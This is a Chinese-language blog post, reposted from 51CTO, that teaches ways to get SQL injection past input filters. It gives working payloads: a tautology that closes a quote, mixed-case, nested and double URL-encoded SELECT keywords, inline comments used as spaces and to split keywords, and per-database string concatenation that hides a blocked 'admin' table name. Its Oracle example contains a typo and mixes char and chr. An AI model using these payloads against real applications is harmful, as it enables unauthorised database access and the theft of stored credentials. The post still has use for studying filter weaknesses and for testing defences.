有的時候,很容易受到SQL注入攻擊的程式,可能會進行輸入過濾,用來防止攻擊者無限制的利用其中存在的設計缺陷。
唱出會删除或者淨化一些字元,或者阻止常用的sql關鍵詞。
我們通常有以下幾種技巧,去避開這些過濾。
1,避免使用被阻止的字元,即不使用這些字元仍然達到攻擊目的。
A,如果注入一個數字資料字段,就不需要使用單引号。
B,輸入注釋符号被阻止使用,我們可以設計注入的資料,既不破壞周圍的查詢文法。
比如, ?id=1′ 這裡存在注入,過濾了注釋符合,我們可以輸入 ?id=1′ or ‘a’='a
目的其實很簡單,就是把後面的單引号給閉合掉。
C,在一個MSSQL注入中注入批量查詢的時候,不必使用分号分隔符。
隻要糾正所有批量查詢的文法,無論你是否使用分号,查詢的解析器依然能正确的去解釋它們的。
2,避免使用簡單确認
一些輸入确認機制使用一個簡單的黑名單,組織或删除任何出現在這個名單中的資料,比如防注入程式。
這一般要看這個機制是否做的足夠的好了,黑名單是否足夠能確定安全。如果隻是簡單的黑名單,那也有機會突破的。
A,如果select關鍵詞被阻止或删除
我們可以輸入:
SeLeCt 注意大小寫
selselectect 還記得ewebeditor是怎麼過濾asp的麼?
%53%45%4c%45%43%54 URL編碼
%2553%2545%254c%2545%2543%2554 對上面的每個%後加了一個25
3,使用SQL注釋符
A,使用注釋來冒充注入的資料中的空格。
select/*yesu*/username,password/*yesu*/from/*yesu*/admin
/*yesu*/來冒充空格
B,使用注釋來避開某些注入的确認過濾。
SEL/*yesu*/ECT username,password fr/*yesu*/om admin
4,處理被阻止的字元串
比如,程式阻止了admin,因為怕攻擊者注入admin表單中的資料。
我們可以這樣
A,oracle資料庫: ‘adm’||’in’
B,MSSQL資料庫: ‘adm’+'in’
C,MYSQL資料庫: concat (‘adm’,'in’)
D,oracle中如果單引号被阻止了,還可以用chr函數
sleect password from admin where username = char(97) || chr(100) || chr(109) || chr(105) || chr(110)
還有幾種方法,就不講解了,打字好累的
本文轉sinojelly51CTO部落格,原文連結:http://blog.51cto.com/pnig0s1992/394299,如需轉載請自行聯系原作者